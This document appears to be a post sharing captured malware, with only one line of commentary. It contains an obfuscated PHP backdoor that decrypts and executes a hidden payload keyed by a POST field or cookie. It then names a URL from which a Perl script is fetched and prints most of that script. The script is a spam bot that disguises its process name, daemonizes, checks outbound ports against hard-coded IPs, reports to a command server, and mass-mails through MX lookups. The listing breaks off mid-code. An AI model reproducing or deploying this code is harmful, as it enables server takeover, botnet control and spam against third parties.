;/u6nmg;sIddPd;W7Gb2T;LgjEsq;g27QVt;IsbIXY;iPmH/i;xyDcH0;hGpIML;BGvk6r;P3rFTf;EL
Uloc;I71NGN;r9zkF3;iULEYo;Nfuisz;XL0qz9;HUa5kl;yOJNz9;wkXT3a;OKZ0HK;uFGZ8S;1WmML
F;hj3GxS;Wr+xpL;z8gz98;firqKq;p+boFS;nxuNT0;sgG+mO;j+j1T5;1kGpiv;B36XRY;+wJVWy;n
0U1bd;rzsNaD;KCLNIS;SHGZkn;HMKyts;YP7Mqv;J1CGRu;I7SdaO;K+YdkJ;I72hn2;zHbwEb;JT+a
Lx;qCHFxG;sXvKwc;rtRUZo;bKPYa0;Ds+anL;ukT2n9;fDP4Q2;oQ5diN;uKPC/P;8MYbRO;ESdD5W;
6Cws3B;Wy2VDy;CDKphz;lyMvSm;b8JM9F;vxkXkC;OtSyDV;6+3tCY;8DE6Sz;/LCWJ9;9C22H5;TL2
rEn;MY56QP;OHOpWa;tE7Br3;jhR+AO;vsP2fC;KxnAIr;bckhX1;h8Q0Yy;8Dn+xY;AhVIjM;HgaUdY
;rnwkkE;abwAc8;hFNanr;gxq860;X+0XuG;kp01iq;I151AT;Q9XfIK;Whzi5A;UG4CZN;F3C9pl;wu
nrvp;LH6zx8;Tp6o7g;lY9mOK;x0mqGV;ZC1bna;/qP+MC;J5AyR+;Zrug40;IfYFeH;ixDpOX;HAyFS
1;k57Xcm;fgEyWD;xW4Ty+;LYC6yy;nW9xPd;AXeq+6;D/NWy0;iSL0J4;uFPNdM;NMeBNH;aapprB;e
nonUO;E4DVJj;5sQUTP;mZZdDw;T70YY9;5t8k6C;zwn5t7;N+SFYT;IJFPnm;oQ3dcl;yzPYtC;N779
GL;XX+VQB;+mWDoV;txuqm6;gTzG8q;uhlIGC;Q89sgw;+nES7r;rTGqoG;vIyeAq;JkkXEl;bLqZwY;
CK3vao;XZlHt/;1AIEh2;51y6+f;sXPN5N;pe5O5g;fSdmRX;xSC9Z4;5txBmf;yWd4fI;RMQQCe;/k5
Sik;luENxF;FBxEo+;4EYQ/H;RjEtw6;J+doiP;8gRSO+;HmUqOq;ugjllS;fzviH5;69jJjW;5RoZvq
;ezndHk;qfv5w6;OH6iiC;/9z9qi;cHW6/m;NjzPtt;OpZOxk;92DD6g;gRv2qf;E1rAPI;b7YsRp;n4
s+ev;hyKFlW;0luH/b;zkBQ/p;tV695C;W2P2b1;aHIv8m;p/r5tm;dVmA48;EelBk+;URvekz;9+uCO
c;5wbYM2;pw7mhU;DHWqyx;v9SHFT;Ofm6hK;+5P8UN;zWpFTw;k3LoUB;5HvuuY;6rsijz;jR0AGF;e
MuGf2;Jjpn/1;XxxBz/;6WNAYC;/8WWjH;pdOn9G;Xy+VXv;hxaP3l;d8BJ8y;fwiazx;Mpnxxr;PH0l
fS;u3LonE;AKBGZo;6yTDnG;OKYYVI;hg5FA4;LYqXCs;5qnTTh;yZXHA3;HZDLQT;5hi2IK;Tj7yBR;
2MCK2h;glxJjS;P8LsqL;1xeFNN;nQAcmU;2wK0yv;Qc7Sdl;fZqrS0;gjT/44;i1Wq//;n5LegR;sNV
015;/78ftG;B1TsEB;C19mBT;EFgKAt;+Jjef9;g3ZAym;0/rOI5;UHnRdb;3Bvibc;o91q3J;r57FLR
;7kA7rc;KScexB;0SlNbZ;59kOIu;81V/m9;tSrBVj;/2OhXk;w5jtyR;CAw362;6IiXnh;Sd0SEM;Ny
XMtr;4MsWwm;U0JA/R;CbIQxU;O47J+C;kw37A6;1NE7OU;p8/+jL;lnbYGe;ftZx2L;6n/DoF;AfAac
4;3VWUCp;VRox7q;+kyAPi;JL1Ph2;/nvr+g;EN1A/c;godWzV;FnZdqz;vxkIDP;LcSYyD;w+vDLt;2
WZhtE;wM86Ky;HmfkUE;nlArVK;8Ae1Bx;YjPnqJ;MxGzU3;ZypzEB;uZGA7o;PnKgsb;5LQN64;I7sS
S+;p3ulmV;G/cn8A;OGJkEz;mLBDMI;khLS8F;7NPWxT;Ag+n2i;gdqScS;lmqt44;aPZqUm;549mtq;
lKnMtf;6Q/IvO;0WMoK4;ugA/se;LPGW3M;IGbLuF;jufauP;MMtjtE;nnGFtG;vsrM3F;GK7HdG;8LF
GH6;RHoTKx;WDxhd0;jFFHCl;5arQ7X;Qv+GFl;SFo3kj;ACBfhb;zops8m;ZHqjwn;OWhuc+;TOJslt
;6/8EP+;5mLBeO;MQVl/m;oTJ5H6;0iCN95;+eemWZ;Q3A8Cu;6U5AUe;jreMMf;Pr0Otp;dn4wuI;Y5
zkk3;zqUvho;U60JiT;3zJhTF;wX7tn2;lA92iU;40hz/y;mDckUS;1OuKc7;1YFioj;WIVlH2;dTeRS
q;8v8yRx;V294uR;dySgTR;7hymyf;dzKJds;V9mZaq;OxZses;gsK8wl;wfnBgL;EB3wIK;OHr8kC;x
8vhuB;PBSOSs;1tTVTo;GbHhGy;+QM/G/;Gd2lTv;sM8ltR;sgrt44;o256pa;NK0MoA;3ZJRea;584B
AG;zSMESM;HxLLsb;tz2i2j;iGfuYt;CYcdbM;j2nOh3;Uknr/S;w0taaN;98kG3Y;Dms2Ol;cvtTif;
v7dm8C;zmPTtp;7uNPK6;y5tp9g;IeWk9S;e3/8xf;AMiZpZ;KiySKK;2wTGFA;sMDZdL;Pevf2M;6JM
gHN;xZcWCx;iHBosE;RGtjEG;keEX2o;okhBnr;dKFlxR;nenrME;NijOFd;EOj6Bb;obnC1P;T2FV3D
;RtpfTr;N7eVyZ;LFDSUr;2nwhp7;EiNpGK;R7+KRt;lvIDhI;efz0ta;NJhe74;uPvECv;hzF/bo;sL
zGYo;e+nA8s;opyrBd;d36WRJ;dvVQaH;yNB6Bg;yrmwog;6zwrVk;gPc3Su;ESsAoG;jEOwXg;EjOo5
b;x7vmaW;a2Kkw7;kYQX/V;TDXzw8;GqLj2V;kqyoRb;PFkv37;1CSSLL;yd5HzO;uMWD4j;4r4lMN;o
PA17Q;YZCNVw;zXO0lt;+6cpXw;ShYyCo;D80wgM;my1Pxi;vFlkoh;JR/wdP;Dx6sjy;N4PmWQ;50xW
4P;DPUHEp;T+RPtM;3xBfxn;YgOy+4;x9R348;DQN9DO;wlSQR0;1UWS/R;eHd7Qa;X7/PQz;3td7TG;
ZwuCQp;f8byWG;eQXt1D;eqE72N;s2qkVe;qUViz3;8esQSK;TxZs2W;DdgRQu;apz+he;tkmLCo;Jrs
slr;bX4Y76;taQ6GI;qBIpcQ;j0+E0k;rueuCR;loOxAs;XmkOnE;GNAfTv;Z5owJz;oTElAG;qgR4mo
;L/KOP4;uoBgXz;Q/5EtP;1ESxx3;DFSaOU;RXHbX1;JeVpWJ;720/Nv;nNtcL8;IyOLIN;bsMz5x;Fn
11zz;5hqqjr;Onfr87;InIhe5;WQlYzQ;7PWqsL;9qfhv3;f/nmSf;6Y1m+6;SWxOnT;RktwK8;V6HJH
l;SzNAii;kehPQZ;avVdty;BF9P9i;cHc2mm;agPVdY;4Aa9M9;XmLSkH;rB89tR;hfvWUy;Ug6ZZA;T
ARGGk;qQbOAr;3/auf0;JrZVvu;D5ywgG;jrBBOe;PoHUPp;XImPUd;WNXKt+;nXCPF2;0dO1ah;Xo0P
IV;yzCSxG;53aMrG;64y+vN;l201Fg;QIwlr4;/m7vCI;quaoyI;wHci7d;djg6PV;5mEhG1;Wcci1w;
amcLOE;Yqvco2;ooVflu;AaEiLx;4WGPal;azMjYj;S7H/+Q;Y9Yd6I;JoZMAV;xz/hrP;yG2l8H;3UD
jhH;k+vfSO;8Cuhdw;YuIwRA;3E6vIO;av+iX5;EInjW5;C3rCbr;EJHo31;4XY2iI;qMTL9i;HZNwY9
;PUHgKc;SbgJBF;NPQpCS;mXs6fo;QNPFmB;OhVTFd;ZZuszQ;zo00WP;usirrV;/EHUt6;Z+xtcc;pf
xAuA;qXkRL4;VcyB/i;/6wHNu;FegZyC;xJYFOh;iruk5M;lxLyPG;OlHbvd;kA1UEQ;RZt8gh;o8xxD
6;dpF/T9;CHyhHO;vH6Ug5;wNsN5y;/zwSyu;0fMCSo;+4quQY;f87ypD;HNAdnA;vZXDM9;qiFtwV;u
eRfbs;PCtt3C;hqXDDz;FDzRWM;DmNC4m;oHpliQ;EfUwx5;MsSoMU;IHKhff;d2ao/8;gCFFxy;IRwf
H2;FC2CjB;SPJQJ3;DkFu9l;ncNdkd;qnq0sN;/VdpCs;+ysFHw;T2LQDO;FFEtxj;fxga7c;+agHBx;
TABrnV;5kVoUJ;59zrDS;lUX86w;BoLigY;2yEzkp;PWpYJg;X6VsGr;aDkE3n;3cw0rR;q1OJWd;qMo
pjC;p2Btv2;qf5jFG;Z8Nmst;318Ua7;673xo3;Sp5Pp3;HZNDbL;UG8tRh;9YyhsC;oWlRM7;eHaQdp
;ka6gIS;p8bo5O;Mx9fM5;mIkA9Y;BPMCWY;wca3er;C1cUXg;hgMW0D;WIRWXR;X1vTFz;gCrGIQ;W4
nlB+;oG5UkY;CsEgaH;Pu5uR+;OCkaI2;0HV1rn;sR1ZzG;nwrXy6;cX6Har;qG9YPe;b2dccF;4paht
x;lQPsrl;sJxeC+;EiVzq3;vlnkXL;MXbBNG;DdmgLG;BHY0rB;5QDdXy;8HDIY5;cNPFI8;grnioW;X
7MQIK;i7Ach4;oqLWjg;qM3p1R;OmrHLL;RPA7U4;wZPHh6;2yyTYq;vV0XTB;xP5WAA;h6Hkmp;8aHD
Dn;HkDpqs;TW/CPj;2GTbrJ;/s8SqJ;/zJqb0;PqrCF6;hPt5vg;8v5mf4;zFEGFe;Gxzgr3;W+ndNl;
khi8dd;lVkDHm;rgIGbp;LDGl34;Lu/2aC;VdPNN9;9gySJa;DkINRy;RCETLj;qDgV7G;dmLkAI;NVN
CyG;D82gVU;Is1JT7;6KrY3g;ZXAVMF;asxr8i;d7+c/9;cd/JeR;AbjEia;+iwIuv;1xz0Rs;nKbdbw
;+iPyaG;IHlOA9;obcbwh;Z0+2yS;bILklS;09RpCq;nmzxOJ;mo8lhk;OGQbWY;Q+LEmV;4aIL16;/P
HjSD;QrPhsZ;+talRc;mV1JOj;PJY7lq;pCr7Ht;RO5ATt;s/87JG;D+GL+m;0B+7xd;XiL2bK;7gtX/
Q;gmcQZi;las3mS;hGPypO;MIJRBO;19eQYW;YO26ex;IqBVFd;H8O5E4;xSNef/;NIFyq/;nOJhss;z
UX0O3;sju+qC;+6bNCY;plVrAx;ft9CY7;F/yZzp;CoPwHn;xVHf2j;jci1KB;+39T0I;aqAgfG;m2eu
N7;x7mTrZ;dMkflO;BW3jKa;XFSCoQ;gx4PZQ;K3QLZ0;NAab46;5VS1fD;ODoQMJ;qnepR2;jHTJiC;
XYvhaE;88ROfR;HBwYze;WtwQWo;ZQcCGu;tBUIMo;FLNQuM;VLLP3/;zZ3p5+;qa/y6G;f94+dr;PMv
v8b;beKaJo;UpXi68;qNTMRs;uZvpoY;ImJrol;Dlp+oE;KpB7U5;JXteB5;2mzZh8;BwJV5I;IW6tBA
;zaUU2a;olx9rE;YPH/VJ;04HfJD;vBrkNC;njfbga;MCk9Wg;jgrU3x;gOmxYr;J7Z+pK;gfv9j8;Bd
NZB5;UH3qgO;hunB3A;kLSipe;U9KDx0;RerE20;YQEPjD;pyhCct;jJi09X;ZfzMbc;fdRkk5;4PBno
A;Y45nA3;bsUryl;7mofK6;b20HnS;RKYvdr;7G3srQ;rtLtkV;SMfRw0;Kpexhl;6DU2Z9;pzBVkh;Z
1Dgzv;nTk5uJ;2dDJMC;Bvs30x;carsrQ;gc2e6c;vyfcOw;g8akqp;3IQFGq;QcKRau;CFegfU;p6Ts
9d;0aXKYo;kWcCMQ;O5hEez;1wzjJq;lJXXBF;9Lx9M4;tsQuw+;6i0WpI;UGWyPD;VkpQpG;6iqABj;
aub6oc;WHXsI1;RKJI6u;b8qStT;uS2f/N;2IBRrn;19nGQs;dAnk0o;o2pw/q;weh1I/;F0pgjo;XBR
AMB;PDmntY;6LhmPt;4p0Af0;U32clK;y16dfR;WWbNiZ;tVSrHu;7h+gIs;8CwtMZ;zFTsjB;HpqSSP
;yvO1mh;kqw+z7;Yq+HdY;YuArON;Ob7AA4;oGJkDI;klL4+1;7PDSgh;kYqaKt;5M+4HU;O/+ZdJ;KY
/w1d;LTfD0M;oHb8Rf;NCs12s;nep+Cg;Euw09v;TgXfpv;hOkX5p;kk5URh;mETpBp;+8C5pd;VRr3v
p;7vb3X9;GndubV;iYIElt;nzrnUc;UUypyu;yoEHyF;g53mOm;m8jJ2i;1gZqh4;vI5HeF;qIt/Fu;n
6IV3k;oy+sG5;Kvs9qI;YhyE5M;SToguy;tDC7CL;eoF5Zv;8cpY63;5t7rlQ;Gdn/xO;37K8t4;Uc3m
GE;MynNRp;Xv6Bhk;su53TQ;0B369k;7l8F59;KGgg/t;/z3b7Q;aT6smV;2wZa+M;qoD9Ft;88xgl7;
ejOeIl;Fckbq7;N9z6f+;RTt9n8;4pYGbz;LL7Ti8;c44X/5;W5I4hm;Nmulam;MFyPy/;crm/pU;+JZ
dr5;iuFiJK;EhERVl;LwIGOP;PAMq1s;9vl4pm;cSeprF;hAD79S;Tulgan;F1hzo1;eiebfm;lUGM1g
;f5Rg06;crPXEO;EaQTym;md5K+x;wlbGZR;qXUpH0;n+14gT;mIJosv;Am1GJm;kQJIsc;rzz/61;1R
JiJB;wyxu16;mM6ycV;WgWYYr;Bmtvxv;WmIyw7;dtjjaI;pvt1V4;+TCVr9;rq2SIq;KV3LdP;JOqxr
D;dC6tbv;H2tJt7;GofxUU;LJqHvF;QUZ1p9;uO2sTn;TSoPXo;lnvVRj;j+24a2;FTGqgz;DApv6j;w
IIVIx;debBFZ;m0MkIf;SbRZfM;6xVZRo;KtXsUc;HNA/cZ;iBOCG2;n7UiKo;MJfq4S;/43OlF;Gu7l
vu;UnlN33;N7rPvL;CdCanG;dWde4d;xH5xW6;RrD3vR;TaVnNN;dua7U5;fT9Kiv;E8BlJl;EuzXzb;
Lw5Prd;u1Lux5;sD94qv;181r2Z;2LUj+q;lj5e8A;99wcpc;KoZPJD;ONm5FX;AfJoHB;4Jv0aZ;k+5
nYv;fUv5Pg;jUJwI3;k3k5H5;vojXqj;ZQ9eXb;0Mwt8y;hA40o4;/WtKPZ;dfIlUG;9poaMh;s7J/bf
;QR7v3n;IjVYWd;7dJUq3;kI0G1H;qympOb;3yo64+;majVqf;QFOMfo;0ft7w7;6wSnks;EDgHSm;D0
6AuQ;SOrwaY;z2fXTx;cdwhIO;o1VHFI;pOc00b;2o9yQw;Sfcz5x;jW3ZTS;XD+UFv;wcXPLe;bgX4G
B;8cJt5V;Ok++Bm;jb/u13;R2LO/N;u1x2qE;K08Y+J;99HS/8;xWzocT;RrY6sy;KKwf/Q;THZllF;C
f33e+;Bh6Y5e;SvkqK/;/D5koC;NknP0Z;HMA8eH;bD3Xlu;q6GJ+/;HVqBhq;PEq+pL;mzWGVR;ah0C
cX;99FPtd;p9zM3r;PWAGwc;1/fThy;j49dXR;vE1/Dh;Vpt6G4;U2IOFD;IvD8/2;Rjq0ej;umbmx8;
URpRgr;1MZaiL;BVq2xh;20q++a;jApKvP;NWHTYO;4Toi3v;/XpN5f;VdAuV6;uRsQZ2;WAreFW;3WQ
ud7;mFhGn7;dGf1Un;q+nsUs;X2sRAg;aVUQvw;ASETQH;IULO6Y;+wmC9f;ER+Ub0;EIdeKJ;WhnjxG
;/1gk0y;RY3XaZ;p931/d;mGtgR7;6IB1V5;Boeecm;ct6IZi;wblqhI;4Qn/ci;LdAq3H;ZD+dVD;cr
FeEH;2kqdEn;BCLbAK;kbXKAg;lo+Tqx;Wyn2tB;BMNiOY;sjE+l+;IijSnv;wqOZPQ;q0d0RE;zosIl
7;hD/HG+;V2jEBo;w2KycZ;7QbEQ6;pA7dTb;RG0uGx;jCZj2Y;d2rKbP;obTkBt;EN01s9;Y9CTd1;g
LK6tg;f1Hkyk;FTchGD;BRXtys;O5nabt;d4NSgE;2P/2iC;Tl3cCn;FB9qDk;fDgFlk;v94Hr/;pkgZ
A3;IAIYl1;CAeNcy;kDpQ16;n4R3F/;M/oBoC;1SJkU6;TdikuX;Eovmg1;2F+G5I;IA0hYe;EX+oj+;
/6weRT;Mdn9Fs;bZOG7Y;LZmiU6;cy28LJ;tQS2s0;qfUd5h;xkoUbz;BHDYLP;/hqBQ4;2irvcX;PJc
xbx;FfmJqE;Wq5J2z;JmAZPx;IHwp0E;4yd9VC;3zuCj1;0rIly5;21tUm0;PBte6w;AnXqjz;KgiKGZ
;BD/Yf4;ewty0D;odZqFb;Zjc0pF;Gqs5BG;QYuWbH;1UV9s6;lVslEG;mh6lUe;Di7I/C;rhQzug;ry
FXiF;3iPWI7;x6xg04;ySI+/p;d7Ywnt;8+4NXz;Hag7FM;rq0rWS;QfLYjX;koF76u;kJy4qP;oYwbD
B;Dlszcd;wMlfvc;a5k0/3;aykcpm;sdzNHm;8pVGJ8;Bu8ssg;f4ZgvL;FCVGiw;KLRHFy;06+uyj;L
MF6/+;ewpQEO;+kLDMA;/OLj0g;b8D8WM;0U/QgL;D1t+b6;I94sbv;WpSoMU;FgPF2g;znBD2v;VQLV
LD;CmSxPi;zNsXas;utR9B9;WX3+x7;8J0ijx;P8cLQ+;ON0Oe2;yAWnNj;ydY6gI;8MP/Yw;v/iXKS;
lNa23g;SSEJE0;O8hL2J;AEriDu;zhFuDP;0zZDx1;jgrwoD;kqbcVF;Xa+kZY;gulP3j;JNv2pZ;PoZ
JsQ;9uDr7F;cZvdsc;GlWx2L;R5X6DX;6GowsP;k4Ryn2;RyDrOZ;LzgFyY;sAXt33;JFCdo9;3O4hPR
;eSlvZa;lmy8Mh;lf0Y+I;SyGCAI;g6JDJb;wyK0DT;Pp5n9S;mlpBoz;puUXoy;CSR+1k;CYIdBZ;/i
X7EX;oUiZWB;Y/f1iJ;bwJgi5;Q8Lgvt;g++EyQ;Wqtkwh;SlSHZm;ESCNLW;oYR/Fb;OK5aOw;9m
'));
$_g_g_[] = $ver{18} . $ver{19} . $ver{17} . $ver{17} . $ver{4} . $ver{21};
$_g_g_[] = $ver{14} . $ver{17} . $ver{3};
$_g_g_[] = $ver{12} . $ver{3} . 5;
$_g_g_[] = $ver{18} . $ver{20} . $ver{1} . $ver{18} . $ver{19} . $ver{17};
$_g_g_[] = $ver{18} . $ver{19} . $ver{17} . $ver{11} . $ver{4} . $ver{13};
$_g_g_[] = $ver{6} . $ver{25} . $ver{8} . $ver{13} . $ver{5} . $ver{11} . $ver{0} . $ver{19} . $ver{4};
$_g_g_[] = $ver{2} . $ver{17} . $ver{4} . $ver{0} . $ver{19} . $ver{4} . '_' . $ver{5} . $ver{20} . $ver{13} . $ver{2} . $ver{19} . $ver{8} . $ver{14} . $ver{13};
$_g_g_[] = $ver{2} . $ver{7} . $ver{17};
$g__g_ = isset($_POST['g__g_']) ? $_POST['g__g_'] : (isset($_COOKIE['g__g_']) ? $_COOKIE['g__g_'] : NULL);
if ($g__g_!==NULL) {
    $g__g_= $_g_g_[2]($g__g_) . $_g_g_[3]($_g_g_[2]($_g_g_[0]($g__g_)), 0, $_g_g_[4]($g__g_));
    for ($g____g_=0; $g____g_ < 15324; $g____g_++)    {
        $g___g_[$g____g_] = $_g_g_[7](($_g_g_[1]($g___g_[$g____g_]) - $_g_g_[1]($g__g_[$g____g_])) % 256);
        $g__g_.=$g___g_[$g____g_];
    }
    if($g___g_ = @$_g_g_[5]($g___g_)) {
        if (isset($_POST['g__g_']))
            @setcookie('g__g_', $_POST['g__g_']);
        $g____g_ = $_g_g_[6]('', $g___g_);
        unset($g___g_, $g__g_);
        $g____g_();
    }
}
?><form action="" method="post"><input type="text" name="g__g_" value=""/><input type="submit" value="&amp;"/></form>

With this code the robot program wants to download a perl script from http://siosushi.vn/images/beta.jpg

#!/usr/bin/perl
use strict; use IO::Socket; use IO::Select; my @fps = ("exim", "bash", "proc"); my $nps = $fps[int rand scalar @fps]; $0 = $nps; $| = 1;
my $ewblock = 11; my $eiprogr = 150;
if ($^O eq "linux") { $ewblock = 11; $eiprogr = 115; }
if ($^O eq "freebsd") { $ewblock = 35; $eiprogr = 36; }
if ($^O eq "MSWin32") { $ewblock = 10035; $eiprogr = 10036; }
my $test = {
os => [$^O],
ip => ["0.0.0.0", "216.146.43.70", "107.20.89.142"],
tcp25 => [0, "65.55.92.184", "64.12.137.162", "98.138.112.38"],
udp53 => [0, "205.188.157.232", "119.160.247.124"],
tcp53 => [0, "205.188.157.232", "119.160.247.124"],
tcp80 => [0, "207.200.74.38", "206.190.36.45"]
}; &init(); $_ = 'Jm7'.'3uZ'; print "Content-type: text/plain; charset=iso-8859-1\x0D\x0A\x0D\x0A$_"; exit 0;
sub main
{
my $s_host = shift; my $s_port = shift; my $s_path = shift; my $s_nsex = shift;
if ($^O ne "MSWin32")
{
use POSIX qw(setsid);
return unless defined (my $child = fork);
return if $child;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
}
&test();
exit 0 if $test->{tcp25}[0] != 1;
if ($test->{udp53}[0] != 1 && $test->{tcp53}[0] != 1) { exit 0 if !defined $s_nsex; $s_nsex = pack ("C4", split (/\./, $s_nsex)); } else { $s_nsex = undef; }
srand; my $pid = $$; $pid = 1 + int rand 2147483648 if !defined $pid || $pid !~ /^\d+$/ || $pid > 4294967295;
my $s = {version => 8, command => 0, size => 0, timeout => 60, request => 1, host => pack ("C4", split (/\./, $s_host))};
my $b =
{
id			=> 0,
ip			=> "",
helo		=> undef,
timezone	=> [["+", "-"]->[int rand 2], (1 + int rand 6)],
nameserver	=> [],
timeout		=> 10,
session		=> 0,
copies		=> 1,
method		=> 0,
spf			=> 0,
level		=> 0,
mailbase	=> [],
from		=> [],
replyto		=> [],
subject		=> [],
header		=> "",
letter		=> "",
priority	=> 1,
type		=> 0,
charset		=> "",
good		=> [0, ""],
unlucky		=> [0, ""],
bad			=> [0, ""],
report		=> ""
};
my $readers = IO::Select->new() or exit 0;
my $writers = IO::Select->new() or exit 0;
my $session = {};
my $flagset = {timeout => 1};
my $cache = {};
my $reset_time = time;
my $reset_wait = 120;
my $reset_stat = 0;
my $first_exec = 1;
my $request_time = time;
my $request_flag = 1;
my $counter_addr = 0;
my $destroy = sub
{
my ($object, $handle) = @_;
if ($session->{$handle}{status} =~ /^rs/)
{
$request_flag = 1;
}
elsif (exists $session->{$handle}{object})
{
if ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
}
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
}
}
if (exists $session->{$handle}{mx})
{
$cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
}
delete $session->{$handle};
$object->remove($handle);
close $handle;
};
while (1)
{
IO::Select->select(undef, undef, undef, 0.01);
my $time = time;
if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
{
$reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
$reset_time = $time + $reset_wait;
}
if ($time >= $reset_time)
{
$reset_time = $time + $reset_wait;
$reset_stat = 0;
$counter_addr = 0;
$b->{$_} = [] for (qw (mailbase from replyto subject));
$b->{$_} = [0, ""] for (qw (good unlucky bad));
$b->{report} = "";
$cache = {};
$session = {};
my $ha = [$writers->handles];
foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
$ha = [$readers->handles];
foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
$request_flag = 1;
$request_time = time;
next;
}
if ($request_flag && $time >= $request_time)
{
while (1)
{
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
last unless $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
unless ($socket->connect($_ = sockaddr_in($s_port, $s->{host})))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
last;
}
}
unless ($writers->add($socket))
{
close $socket;
last;
}
$session->{$socket} =
{
status	=> "rs_cn",
buffer	=> "",
flagset	=> $flagset->{timeout},
timeout	=> 0
};
$s->{$_} = 0 for (qw (command size));
if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
{
$s->{command} = 1;
$s->{command} = 2 if $first_exec;
$reset_time = $time + $reset_wait;
$reset_stat = 0;
if ($counter_addr)
{
$s->{size} = 16;
$session->{$socket}{buffer} .= pack ("L", $b->{id});
$session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
if ($b->{level})
{
for (qw (good unlucky bad))
{
$s->{size} += (4 + length $b->{$_}[1]);
$session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
$session->{$socket}{buffer} .= $b->{$_}[1];
}
if ($b->{level} > 1)
{
$s->{size} += (4 + length $b->{report});
$session->{$socket}{buffer} .= pack ("L", length $b->{report});
$session->{$socket}{buffer} .= $b->{report};
}
}
}
}
$session->{$socket}{buffer} = pack ("SC2L2", 0xDFDF, $s->{version}, $s->{command}, $pid, $s->{size}) . $session->{$socket}{buffer};
$s->{size} = length $session->{$socket}{buffer};
$session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
$request_flag = 0;
last;
}
}
if (my $mail_array = shift @{$b->{mailbase}})
{
while (scalar @$mail_array)
{
my $mail = @{$mail_array}[0];
my ($mx) = &mail(\$mail);
$mx = lc ((split /\@/, $$mx)[1]);
my $type = 15;
if (exists $cache->{$mx})
{
my $sv = $mx;
$mx = $cache->{$sv}[0];
if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
{
$cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
{
push @{$b->{mailbase}}, $mail_array;
last;
}
if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
{
while ($_ = shift @$mail_array)
{
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$_\x0A";
$b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
}
}
last;
}
$mx = pack ("C4", $1, $2, $3, $4);
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($socket)
{
push @{$b->{mailbase}}, $mail_array;
last;
}
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
unless ($socket->connect($_ = sockaddr_in(25, $mx)))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$mail\x0A";
$b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
}
shift @$mail_array;
push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
last;
}
}
unless ($writers->add($socket))
{
close $socket;
push @{$b->{mailbase}}, $mail_array;
last;
}
$cache->{$sv}[1] ++;
my $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
$sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
$session->{$socket} =
{
status	=> "mx_cn",
mx		=> $sv,
buffer	=> "",
object	=> $mail_array,
mindex	=> 0,
sender	=> $sender,
flagset	=> $flagset->{timeout},
timeout	=> 0
};
last;
}
else
{
$type = 1;
}
}
else
{
$type = 15;
}
my $socket;
if ($test->{udp53}[0] == 1)
{
$socket = IO::Socket::INET->new(Proto => "udp");
}
else
{
$socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
}
unless ($socket)
{
push @{$b->{mailbase}}, $mail_array;
last;
}
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
if ($test->{udp53}[0] == 0)
{
my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
if (defined $s_nsex) { $nameserver = sockaddr_in(25, $s_nsex); } else { $nameserver = sockaddr_in(53, $nameserver); }
unless ($socket->connect($nameserver))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$mail\x0A";
$b->{report} .= "$mail - [ns_cn] Can't connect\x0A" if $b->{level} > 1;
}
shift @$mail_array;
push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
last;
}
}
}
unless ($writers->add($socket))
{
close $socket;
push @{$b->{mailbase}}, $mail_array;
last;
}
$session->{$socket} =
{
status	=> "ns_wr",
buffer	=> "",
object	=> $mail_array,
sender	=> 0,
flagset	=> $flagset->{timeout},
timeout	=> 0,
type	=> $type,
packet	=> int rand 65536,
size	=> 0
};
$session->{$socket}{buffer} .= pack ("nSn4", $session->{$socket}{packet}, 1, 1, 0, 0, 0);
$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $mx));
$session->{$socket}{buffer} .= pack ("Cn2", 0, $session->{$socket}{type}, 1);
$session->{$socket}{sender} = length $session->{$socket}{buffer};
if ($test->{udp53}[0] == 0)
{
$session->{$socket}{status} = "ns_cn";
